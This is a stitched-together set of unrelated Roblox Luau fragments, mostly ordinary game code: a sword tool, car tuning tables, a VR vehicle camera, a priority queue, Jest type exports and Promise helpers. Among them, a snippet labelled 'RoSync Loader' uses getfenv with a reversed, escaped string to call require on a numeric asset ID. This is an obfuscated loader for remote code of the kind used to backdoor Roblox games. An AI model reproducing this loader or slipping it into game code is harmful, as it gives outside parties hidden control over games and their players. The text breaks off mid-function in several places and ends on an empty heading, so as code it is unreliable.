"State", kind = "Spring", dependencySet = {[goalState] = true}, -- if we held strong references to the dependents, then they wouldn't be -- able to get garbage collected when they fall out of scope dependentSet = setmetatable({}, WEAK_KEYS_METATABLE), _speed = speed, _damping = damping, _goalState = goalState, _goalValue = nil, _currentType = nil, _currentValue = nil, _springPositions = nil, _springGoals = nil, _springVelocities = nil }, CLASS_METATABLE) initDependency(self) -- add this object to the goal state's dependent set goalState.dependentSet[self] = true self:update() return self end return Spring
-------- OMG HAX
r = game:service("RunService") local damage = 10 local slash_damage = 18 local lunge_damage = 36 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function windforce(dir, victimTorso) if (victimTorso.Parent:FindFirstChild("ForceField") ~= nil) then return end if victimTorso:FindFirstChild("WindEffect") == nil then local force = Instance.new("BodyVelocity") force.Name = "WindEffect" force.maxForce = Vector3.new(1e7, 1e7, 1e7) force.P = 125 force.velocity = (dir * 150) + Vector3.new(0, 30,0) force.Parent = victimTorso game.Debris:AddItem(force, .25) end end function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) local d = vCharacter.Torso.CFrame.lookVector windforce(Vector3.new(d.x, d.y, d.z), hit.Parent.Torso) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid game.Debris:AddItem(creator_tag, 1) end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool force = Instance.new("BodyVelocity") force.velocity = Vector3.new(0,10,0) force.maxForce = Vector3.new(0,4000,0) force.Parent = Tool.Parent.Torso wait(.25) swordOut() wait(.25) force.Parent = nil wait(.5) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
-- Create debris for specified part (being destroyed)
local function createDebris(targetPart) local pos = Vector3.new(0, 0, 0) local scale = 1 if targetPart:IsA("Model") then local plate = targetPart:FindFirstChild("Plate", true) pos = plate.Position scale = plate.Size.X/8 else pos = targetPart.Position scale = targetPart.Size.X/8 end local debris = debrisParts[math.random(1, #debrisParts)]:Clone() --local pos2 = getPositionRelativetoBase(debris.PrimaryPart, pos) local pos2 = pos debris:SetPrimaryPartCFrame(CFrame.new(pos2)) scaleModel(debris, scale) debris.Parent = mapManager.getMap() targetPart:Destroy() return debris.PrimaryPart end
--local RecipesFrame = InventoryFrame.Recipes;
local Sizes = { [ItemsFrame] = { [EquipButton] = { Size = ItemsFrame.Size; Position = ItemsFrame.Position; }; [CraftButton] = { Size = UDim2.new(0,-427,1,-155); Position = ItemsFrame.Position; }; [RecycleButton] = { Size = UDim2.new(0,-427,1,-200); Position = ItemsFrame.Position; }; }; [ActionsFrame] = { [EquipButton] = { Size = ActionsFrame.Size; Position = ActionsFrame.Position; }; [CraftButton] = { Size = UDim2.new(1,0,0,160); Position = UDim2.new(0,0,1,-160); }; [RecycleButton] = { Size = UDim2.new(1,0,0,205); Position = UDim2.new(0,0,1,-205); }; }; [EquippedFrame] = { [EquipButton] = { Size = EquippedFrame.Size; Position = EquippedFrame.Position; }; [CraftButton] = { Size = UDim2.new(0,130,1,-155); Position = UDim2.new(1,0,0,0); }; [RecycleButton] = { Size = UDim2.new(0,130,1,-200); Position = EquippedFrame.Position; }; }; --[[[RecipesFrame] = { [EquipButton] = { Size = RecipesFrame.Size; Position = RecipesFrame.Position; }; [CraftButton] = { Size = UDim2.new(0,292,1,-155); Position = RecipesFrame.Position; --EquippedFrame.Position; }; [RecycleButton] = { Size = UDim2.new(0,0,1,-200); Position = ItemsFrame.Position; }; };]] };
-- math, thx roblox wiki
function lerp(a, b, t) return a * (1-t) + (b*t) end
--[[UIS.InputBegan:Connect(function(key, gameprocessed) if key.KeyCode == Enum.KeyCode.E and debounce and player.Character then player.Character.HumanoidRootPart.Anchored = true local goal = {} goal.CFrame = player.Character.HumanoidRootPart.CFrame * CFrame.new(0, 5, 0) local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut) local tween = tweenService:Create(player.Character.HumanoidRootPart, tweenInfo, goal) tween:Play() local clone = game.ReplicatedStorage.Show:Clone() clone.Parent = workspace.Beams clone.Position = player.Character.HumanoidRootPart.Position local weld = Instance.new("WeldConstraint", clone) clone.CanCollide = false weld.Part0 = clone weld.Part1 = player.Character.HumanoidRootPart local goal3 = {} goal3.Transparency = 0 local tweenInfo3 = TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut) local tween3 = tweenService:Create(clone, tweenInfo3, goal3) tween3:Play() wait(1.1) local mag = (player.Character.HumanoidRootPart.Position - mouse.Hit.Position).Magnitude goal3 = {} goal3.Transparency = 1 tweenInfo3 = TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut) tween3 = tweenService:Create(clone, tweenInfo3, goal3) spawn(function() wait(1.5) tween3:Play() repeat wait() until clone.Transparency == 1 clone:Destroy() end) if mag <= 200 then local beam = Instance.new("Part") beam.Shape = Enum.PartType.Cylinder mouse.TargetFilter = workspace.Beams local ball = Instance.new("Part", workspace.Beams) ball.Shape = Enum.PartType.Ball ball.Color = Color3.new(176, 176, 56) ball.Size = Vector3.new(0.2, 0.2, 0.2) ball.Position = player.Character.RightHand.Position ball.Anchored = true ball.Material = Enum.Material.Neon local goal2 = {} goal2.Size = Vector3.new(1, 1, 1) local tweenInfo2 = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut) local tween2 = tweenService:Create(ball, tweenInfo2, goal2) tween2:Play() wait(1.5) goal2.Size = Vector3.new(10, 10, 10) tweenInfo2 = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut) tween2 = tweenService:Create(ball, tweenInfo2, goal2) tween2:Play() goal2.Transparency = 1 tweenInfo2 = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut) tween2 = tweenService:Create(ball, tweenInfo2, goal2) tween2:Play() local event beam.CFrame = (CFrame.new(player.Character.RightHand.Position, mouse.Hit.Position) * CFrame.new(0, 0, mag / 2):Inverse()) * CFrame.Angles(0, math.rad(90), 0) event = runService.Stepped:Connect(function(plays) mag = (player.Character.HumanoidRootPart.Position - mouse.Hit.Position).Magnitude --print(mag) local lastPos = beam.Position beam.CFrame = (CFrame.new(player.Character.RightHand.Position, mouse.Hit.Position) * CFrame.new(0, 0, mag / 2):Inverse()) * CFrame.Angles(0, math.rad(90), 0) beam.Material = Enum.Material.Neon beam.Color = Color3.new(176, 176, 56) beam.Size = Vector3.new(mag, 1, 1) end) beam.Anchored = true beam.Parent = workspace.Beams repeat wait() until ball.Transparency == 1 and ball.Size == Vector3.new(10, 10, 10) ball:Destroy() ball = nil end end end)]]
--
--[[setmetatable( PriorityQueue, { __call = function (self) setmetatable({}, self) self:initialize() return self end } )]]
function PriorityQueue.new() local queueData = {} setmetatable(queueData,PriorityQueue) queueData:initialize() return queueData end function PriorityQueue:initialize() --[[ Initialization. Example: PriorityQueue = require("priority_queue") pq = PriorityQueue() ]]-- self.heap = {} self.current_size = 0 end function PriorityQueue:empty() return self.current_size == 0 end function PriorityQueue:size() return self.current_size end function PriorityQueue:swim() -- Swim up on the tree and fix the order heap property. local heap = self.heap local floor = floor local i = self.current_size while floor(i / 2) > 0 do local half = floor(i / 2) if heap[i][2] < heap[half][2] then heap[i], heap[half] = heap[half], heap[i] end i = half end end function PriorityQueue:push(v, p) --[[ Put an item on the queue. Args: v: the item to be stored p(number): the priority of the item ]]-- -- self.heap[self.current_size + 1] = {v, p} self.current_size = self.current_size + 1 self:swim() end function PriorityQueue:sink() -- Sink down on the tree and fix the order heap property. local size = self.current_size local heap = self.heap local i = 1 while (i * 2) <= size do local mc = self:min_child(i) if heap[i][2] > heap[mc][2] then heap[i], heap[mc] = heap[mc], heap[i] end i = mc end end function PriorityQueue:min_child(i) if (i * 2) + 1 > self.current_size then return i * 2 else if self.heap[i * 2][2] < self.heap[i * 2 + 1][2] then return i * 2 else return i * 2 + 1 end end end function PriorityQueue:pop() -- Remove and return the top priority item local heap = self.heap local retval = heap[1][1] heap[1] = heap[self.current_size] heap[self.current_size] = nil self.current_size = self.current_size - 1 self:sink() return retval end return PriorityQueue
--[[ @class stringTween contains library of functions that add/remove text from a string. .backward: @params: string, function, string?, config? @info: clears text or until hit `StopAt` .forward: @params: string, string, function, config? @info: adds `newText` to the given string ```lua local stringTween = require(container.stringTween) local startText = 'person' local newText = 'son' local stopAt = 'per' local predicate = function(text) startText = text end stringTween.backward(startText, predicate, stopAt) > returns per stringTween.forward(startText, newText, predicate) > returns person ``` ]]
local stringTween = {} function stringTween.forward( s: string, apply: string, predicate: (string) -> (), config: config? ) if config then config.delay = config.delay or defaultconfig.delay config.movement = config.movement or defaultconfig.movement end local config = config or defaultconfig local result for i = 0, #apply, 1 do result = `{s}{string.sub(apply, 1, i)}{config.movement}` predicate(result) task.wait(config.delay) end result = result:sub(1, #result - #config.movement) predicate(result) return result end function stringTween.backward( s: string, predicate: (string) -> (), breakat: string?, config: config? ) if config then config.delay = config.delay or defaultconfig.delay config.movement = config.movement or defaultconfig.movement end local config = config or defaultconfig local result for i = #s, 0, -1 do result = `{string.sub(s, 1, i)}{config.movement}` predicate(result) if breakat and string.sub(result, 1, -1) == `{breakat}{config.movement}` then break end task.wait(config.delay) end result = string.sub(result, 1, #result - #config.movement) predicate(result) return result end return stringTween
--[[Weight and CG]]
Tune.Weight = 3590 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- ^ preserved archeology - 7chon -- origin: 00scorpion00
-- initialize local variables
local camera = workspace.CurrentCamera local player = game.Players.LocalPlayer local character = player.Character local humanoid = character.Humanoid
--[[ Last synced 3/7/2021 11:03 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
----------------- --| Variables |-- -----------------
local DebrisService = Game:GetService('Debris') local PlayersService = Game:GetService('Players') local Tool = script.Parent local ToolHandle = Tool.Handle local RocketScript = WaitForChild(script, 'Rocket') local SwooshSound = WaitForChild(script, 'Swoosh') local BoomSound = WaitForChild(script, 'Boom') local ReloadSound = WaitForChild(ToolHandle, 'ReloadSound') local FireSound = WaitForChild(ToolHandle, 'FireSound') local MyModel = nil local MyPlayer = nil local BaseRocket = nil local RocketClone = nil
--
LeftShoulderClone = LeftShoulder:Clone() LeftShoulderClone.Name = "LeftShoulderClone" LeftShoulderClone.Parent = Torso LeftShoulderClone.Part0 = Torso
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent.Parent.Parent._Index local Package = require(PackageIndex["JestTypes"]["JestTypes"]) export type Circus_DoneFn = Package.Circus_DoneFn export type Circus_BlockFn = Package.Circus_BlockFn export type Circus_BlockName = Package.Circus_BlockName export type Circus_BlockMode = Package.Circus_BlockMode export type Circus_TestMode = Package.Circus_TestMode export type Circus_TestName = Package.Circus_TestName export type Circus_TestFn = Package.Circus_TestFn export type Circus_HookFn = Package.Circus_HookFn export type Circus_AsyncFn = Package.Circus_AsyncFn export type Circus_SharedHookType = Package.Circus_SharedHookType export type Circus_HookType = Package.Circus_HookType export type Circus_TestContext = Package.Circus_TestContext export type Circus_Exception = Package.Circus_Exception export type Circus_FormattedError = Package.Circus_FormattedError export type Circus_Hook = Package.Circus_Hook export type Circus_EventHandler = Package.Circus_EventHandler export type Circus_Event = Package.Circus_Event export type Circus_SyncEvent = Package.Circus_SyncEvent export type Circus_AsyncEvent = Package.Circus_AsyncEvent export type Circus_MatcherResults = Package.Circus_MatcherResults export type Circus_TestStatus = Package.Circus_TestStatus export type Circus_TestResult = Package.Circus_TestResult export type Circus_RunResult = Package.Circus_RunResult export type Circus_TestResults = Package.Circus_TestResults export type Circus_GlobalErrorHandlers = Package.Circus_GlobalErrorHandlers export type Circus_State = Package.Circus_State export type Circus_DescribeBlock = Package.Circus_DescribeBlock export type Circus_TestError = Package.Circus_TestError export type Circus_TestEntry = Package.Circus_TestEntry export type Config_Path = Package.Config_Path export type Config_Glob = Package.Config_Glob export type Config_HasteConfig = Package.Config_HasteConfig export type Config_CoverageReporterName = Package.Config_CoverageReporterName export type Config_CoverageReporterWithOptions<K> = Package.Config_CoverageReporterWithOptions<K> export type Config_CoverageReporters = Package.Config_CoverageReporters export type Config_ReporterConfig = Package.Config_ReporterConfig export type Config_TransformerConfig = Package.Config_TransformerConfig export type Config_ConfigGlobals = Package.Config_ConfigGlobals export type Config_PrettyFormatOptions = Package.Config_PrettyFormatOptions export type Config_DefaultOptions = Package.Config_DefaultOptions export type Config_DisplayName = Package.Config_DisplayName export type Config_InitialOptionsWithRootDir = Package.Config_InitialOptionsWithRootDir export type Config_InitialProjectOptions = Package.Config_InitialProjectOptions export type Config_InitialOptions = Package.Config_InitialOptions export type Config_SnapshotUpdateState = Package.Config_SnapshotUpdateState export type Config_CoverageThresholdValue = Package.Config_CoverageThresholdValue export type Config_GlobalConfig = Package.Config_GlobalConfig export type Config_ProjectConfig = Package.Config_ProjectConfig export type Config_Argv = Package.Config_Argv export type Global_ValidTestReturnValues = Package.Global_ValidTestReturnValues export type Global_TestReturnValue = Package.Global_TestReturnValue export type Global_TestContext = Package.Global_TestContext export type Global_DoneFn = Package.Global_DoneFn export type Global_DoneTakingTestFn = Package.Global_DoneTakingTestFn export type Global_PromiseReturningTestFn = Package.Global_PromiseReturningTestFn export type Global_GeneratorReturningTestFn = Package.Global_GeneratorReturningTestFn export type Global_TestName = Package.Global_TestName export type Global_TestFn = Package.Global_TestFn export type Global_ConcurrentTestFn = Package.Global_ConcurrentTestFn export type Global_BlockFn = Package.Global_BlockFn export type Global_BlockName = Package.Global_BlockName export type Global_HookFn = Package.Global_HookFn export type Global_Col = Package.Global_Col export type Global_Row = Package.Global_Row export type Global_Table = Package.Global_Table export type Global_ArrayTable = Package.Global_ArrayTable export type Global_TemplateTable = Package.Global_TemplateTable export type Global_TemplateData = Package.Global_TemplateData export type Global_EachTable = Package.Global_EachTable export type Global_TestCallback = Package.Global_TestCallback export type Global_EachTestFn<EachCallback> = Package.Global_EachTestFn<EachCallback> export type Global_HookBase = Package.Global_HookBase export type Global_ItBase = Package.Global_ItBase export type Global_It = Package.Global_It export type Global_ItConcurrentBase = Package.Global_ItConcurrentBase export type Global_ItConcurrentExtended = Package.Global_ItConcurrentExtended export type Global_ItConcurrent = Package.Global_ItConcurrent export type Global_DescribeBase = Package.Global_DescribeBase export type Global_Describe = Package.Global_Describe export type Global_TestFrameworkGlobals = Package.Global_TestFrameworkGlobals export type Global_GlobalAdditions = Package.Global_GlobalAdditions export type Global_Global = Package.Global_Global export type TestResult_Milliseconds = Package.TestResult_Milliseconds export type TestResult_AssertionResult = Package.TestResult_AssertionResult export type TestResult_SerializableError = Package.TestResult_SerializableError export type TestResult_Callsite = Package.TestResult_Callsite export type TestResult_Status = Package.TestResult_Status export type TransformTypes_TransformResult = Package.TransformTypes_TransformResult return Package
--[=[ @within Signal @type ConnectionFn (...any) -> () A function connected to a signal. ]=]
--[[Engine]]
--Torque Curve Tune.Horsepower = 600 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- yaw-axis rotational velocity of a part with a given CFrame and total RotVelocity
local function yawVelocity(rotVel, cf) return math.abs(cf.YVector:Dot(rotVel)) end local worldDt = 1/60 local VRVehicleCamera = setmetatable({}, VRBaseCamera) VRVehicleCamera.__index = VRVehicleCamera function VRVehicleCamera.new() local self = setmetatable(VRBaseCamera.new(), VRVehicleCamera) self:Reset() -- track physics solver time delta separately from the render loop to correctly synchronize time delta RunService.Stepped:Connect(function(_, _worldDt) worldDt = _worldDt end) return self end function VRVehicleCamera:Reset() self.vehicleCameraCore = VehicleCameraCore.new(self:GetSubjectCFrame()) self.pitchSpring = Spring.new(0, -math.rad(VehicleCameraConfig.pitchBaseAngle)) self.yawSpring = Spring.new(0, YAW_DEFAULT) local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject assert(camera, "VRVehicleCamera initialization error") assert(cameraSubject) assert(cameraSubject:IsA("VehicleSeat")) local assemblyParts = cameraSubject:GetConnectedParts(true) -- passing true to recursively get all assembly parts local assemblyPosition, assemblyRadius = CameraUtils.getLooseBoundingSphere(assemblyParts) assemblyRadius = math.max(assemblyRadius, EPSILON) self.assemblyRadius = assemblyRadius self.assemblyOffset = cameraSubject.CFrame:Inverse()*assemblyPosition -- seat-space offset of the assembly bounding sphere center self.lastCameraFocus = nil self:_StepInitialZoom() end function VRVehicleCamera:_StepInitialZoom() self:SetCameraToSubjectDistance(math.max( ZoomController.GetZoomRadius(), self.assemblyRadius*VehicleCameraConfig.initialZoomRadiusMul )) end function VRVehicleCamera:_GetThirdPersonLocalOffset() return self.assemblyOffset + Vector3.new(0, self.assemblyRadius*VehicleCameraConfig.verticalCenterOffset, 0) end function VRVehicleCamera:_GetFirstPersonLocalOffset(subjectCFrame: CFrame) local character = localPlayer.Character if character and character.Parent then local head = character:FindFirstChild("Head") if head and head:IsA("BasePart") then return subjectCFrame:Inverse() * head.Position end end return self:_GetThirdPersonLocalOffset() end function VRVehicleCamera:Update() local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject local vehicleCameraCore = self.vehicleCameraCore assert(camera) assert(cameraSubject) assert(cameraSubject:IsA("VehicleSeat")) -- consume the physics solver time delta to account for mismatched physics/render cycles local dt = worldDt worldDt = 0 -- get subject info local subjectCFrame: CFrame = self:GetSubjectCFrame() local subjectVel: Vector3 = self:GetSubjectVelocity() local subjectRotVel = self:GetSubjectRotVelocity() -- measure the local-to-world-space forward velocity of the vehicle local vDotZ = math.abs(subjectVel:Dot(subjectCFrame.ZVector)) local yawVel = yawVelocity(subjectRotVel, subjectCFrame) local pitchVel = pitchVelocity(subjectRotVel, subjectCFrame) -- step camera components forward local zoom = self:StepZoom() -- mix third and first person offsets in local space local firstPerson = mapClamp(zoom, ZOOM_MINIMUM, self.assemblyRadius, 1, 0) local tpOffset = self:_GetThirdPersonLocalOffset() local fpOffset = self:_GetFirstPersonLocalOffset(subjectCFrame) local localOffset = tpOffset:Lerp(fpOffset, firstPerson) -- step core forward vehicleCameraCore:setTransform(subjectCFrame) local processedRotation = vehicleCameraCore:step(dt, pitchVel, yawVel, firstPerson) -- end product of this function local focus = nil local cf = nil -- update fade from black self:UpdateFadeFromBlack(dt) if not self:IsInFirstPerson() then -- third person comfort camera focus = CFrame.new(subjectCFrame*localOffset)*processedRotation cf = focus*CFrame.new(0, 0, zoom) if not self.lastCameraFocus then self.lastCameraFocus = focus self.needsReset = true end local curCameraDir = focus.Position - camera.CFrame.Position local curCameraDist = curCameraDir.magnitude curCameraDir = curCameraDir.Unit local cameraDot = curCameraDir:Dot(camera.CFrame.LookVector) if cameraDot > TP_FOLLOW_ANGLE_DOT and curCameraDist < TP_FOLLOW_DIST and not self.needsReset then -- vehicle in view -- keep old focus focus = self.lastCameraFocus -- new cf result local cameraFocusP = focus.p local cameraLookVector = self:GetCameraLookVector() cameraLookVector = Vector3.new(cameraLookVector.X, 0, cameraLookVector.Z).Unit local newLookVector = self:CalculateNewLookVectorFromArg(cameraLookVector, Vector2.new(0, 0)) cf = CFrame.new(cameraFocusP - (zoom * newLookVector), cameraFocusP) else -- new focus / teleport self.currentSubjectDistance = DEFAULT_CAMERA_DIST self.lastCameraFocus = self:GetVRFocus(subjectCFrame.Position, dt) self.needsReset = false self:StartFadeFromBlack() self:ResetZoom() end self:UpdateEdgeBlur(localPlayer, dt) else -- first person in vehicle : lock orientation for stable camera local dir = Vector3.new(processedRotation.LookVector.X, 0, processedRotation.LookVector.Z).Unit local planarRotation = CFrame.new(processedRotation.Position, dir) -- this removes the pitch to reduce motion sickness focus = CFrame.new(subjectCFrame * localOffset) * planarRotation cf = focus * CFrame.new(0, 0, zoom) self:StartVREdgeBlur(localPlayer) end return cf, focus end function VRVehicleCamera:EnterFirstPerson() self.inFirstPerson = true self:UpdateMouseBehavior() end function VRVehicleCamera:LeaveFirstPerson() self.inFirstPerson = false self:UpdateMouseBehavior() end return VRVehicleCamera
--[=[ Defers the subscription and creation of the observable until the actual subscription of the observable. https://rxjs-dev.firebaseapp.com/api/index/function/defer https://netbasal.com/getting-to-know-the-defer-observable-in-rxjs-a16f092d8c09 @param observableFactory () -> Observable<T> @return Observable<T> ]=]
function Rx.defer(observableFactory) return Observable.new(function(sub) local observable local ok, err = pcall(function() observable = observableFactory() end) if not ok then sub:Fail(err) return end if not Observable.isObservable(observable) then sub:Fail("Not an observable") return end return observable:Subscribe(sub:GetFireFailComplete()) end) end
-- Get the current floor material.
local function getFloorMaterial() floorMaterial = humanoid.FloorMaterial material = string.split(tostring(floorMaterial), "Enum.Material.")[2] return material end
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "RPM" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over. GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly. GUI:Clone().Parent = player.PlayerGui --// Compact version if script.Parent.L.Value == true then --because you can't get in a locked car wait() script.Parent.Disabled = true wait() script.Parent.Disabled = false end script.Parent.Occupied.Value = true script.Parent.Parent.Body.Dash.dash.D.Transparency = 0 script.Parent.CanStart.Value = true script.Parent.Parent.Body.Dash.Spd.Interface.Enabled = true script.Parent.Parent.Body.Dash.Tac.Interface.Enabled = true
--[=[ Extracts the locale from the name @param name string -- The name to parse @return string -- The locale ]=]
function JsonToLocalizationTable.localeFromName(name) if name:sub(-5) == ".json" then return name:sub(1, #name-5) else return name end end
-- Written By Kip Turner, Copyright Roblox 2014 -- Updated by Garnold to utilize the new PathfindingService API, 2017
local DEBUG_NAME = "ClickToMoveController" local UIS = game:GetService("UserInputService") local PathfindingService = game:GetService("PathfindingService") local PlayerService = game:GetService("Players") local RunService = game:GetService("RunService") local DebrisService = game:GetService('Debris') local ReplicatedStorage = game:GetService('ReplicatedStorage') local tweenService = game:GetService("TweenService") local Player = PlayerService.LocalPlayer local PlayerScripts = Player.PlayerScripts local CameraScript = script:FindFirstAncestor("CameraScript") local InvisicamModule = nil if CameraScript then InvisicamModule = require(CameraScript:WaitForChild("Invisicam")) end local MasterControlModule = script.Parent local MasterControl = require(MasterControlModule) local TouchJump = nil if MasterControl then local TouchJumpModule = MasterControlModule:FindFirstChild("TouchJump") if TouchJumpModule then TouchJump = require(TouchJumpModule) end end local SHOW_PATH = true local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList local math_min = math.min local math_max = math.max local math_pi = math.pi local math_atan2 = math.atan2 local Vector3_new = Vector3.new local Vector2_new = Vector2.new local CFrame_new = CFrame.new local CurrentSeatPart = nil local DrivingTo = nil local XZ_VECTOR3 = Vector3_new(1, 0, 1) local ZERO_VECTOR3 = Vector3_new(0, 0, 0) local ZERO_VECTOR2 = Vector2_new(0, 0) local lastFailedPosition = nil local BindableEvent_OnFailStateChanged = nil if UIS.TouchEnabled then BindableEvent_OnFailStateChanged = MasterControl:GetClickToMoveFailStateChanged() end
--- Creates a listable type from a singlular type
function Util.MakeListableType(type, override) local listableType = { Listable = true, Transform = type.Transform, Validate = type.Validate, Autocomplete = type.Autocomplete, Default = type.Default, Parse = function(...) return {type.Parse(...)} end } if override then for key, value in pairs(override) do listableType[key] = value end end return listableType end local function encodeCommandEscape(text) return (text:gsub("\\%$", "___!CMDR_DOLLAR!___")) end local function decodeCommandEscape(text) return (text:gsub("___!CMDR_DOLLAR!___", "$")) end function Util.RunCommandString(dispatcher, commandString) commandString = Util.ParseEscapeSequences(commandString) commandString = Util.EncodeEscapedOperators(commandString) local commands = commandString:split("&&") local output = "" for i, command in ipairs(commands) do local outputEncoded = output:gsub("%$", "\\x24") command = command:gsub("||", output:find("%s") and ("%q"):format(outputEncoded) or outputEncoded) output = tostring( dispatcher:EvaluateAndRun( ( Util.RunEmbeddedCommands(dispatcher, command) ) ) ) if i == #commands then return output end end end
--[[ Calls any :finally handlers. We need this to be a separate method and queue because we must call all of the finally callbacks upon a success, failure, *and* cancellation. ]]
function Promise.prototype:_finalize() for _, callback in ipairs(self._queuedFinally) do -- Purposefully not passing values to callbacks here, as it could be the -- resolved values, or rejected errors. If the developer needs the values, -- they should use :andThen or :catch explicitly. callback(self._status) end -- Allow family to be buried self._parent = nil self._consumers = nil end return Promise
-- / Functions / --
local function Control(key, inputState) if carSettings[key] then carSettings[key][1] = (inputState == Enum.UserInputState.Begin); end end
-- ROBLOX TODO: add generic type constraints <EachCallback extends Global.TestCallback>
function applyArguments<EachCallback>( supportsDone: boolean, params: Array<any>, test: Global_EachTestFn<EachCallback> ): Global_EachTestFn<any> local argumentCount if typeof(test) == "function" then argumentCount = debug.info(test, "a") else argumentCount = 0 -- ROBLOX CHECK: jest.fn()? end -- ROBLOX deviation START: add logic to unpack and convert NIL placeholders local replaceNilPlaceholders function replaceNilPlaceholders(val: any): any if val == NIL then return nil elseif Array.isArray(val) then return Array.map(val, function(item) return replaceNilPlaceholders(item) end) elseif typeof(val) == "table" then Array.forEach(Object.keys(val), function(key) val[key] = replaceNilPlaceholders(val[key]) end) return val end return val end local unpackTable function unpackTable(obj: Array<any>, i_: number?, ...: any) local i = if i_ ~= nil then i_ else #obj if i == 0 then return ... end return unpackTable(obj, i - 1, replaceNilPlaceholders(obj[i]), ...) end -- ROBLOX deviation END return if supportsDone and #params < argumentCount then function(done: Global_DoneFn) return test(unpackTable(params), done) end else function() return test(unpackTable(params)) end end return exports
--[[Susupension]]
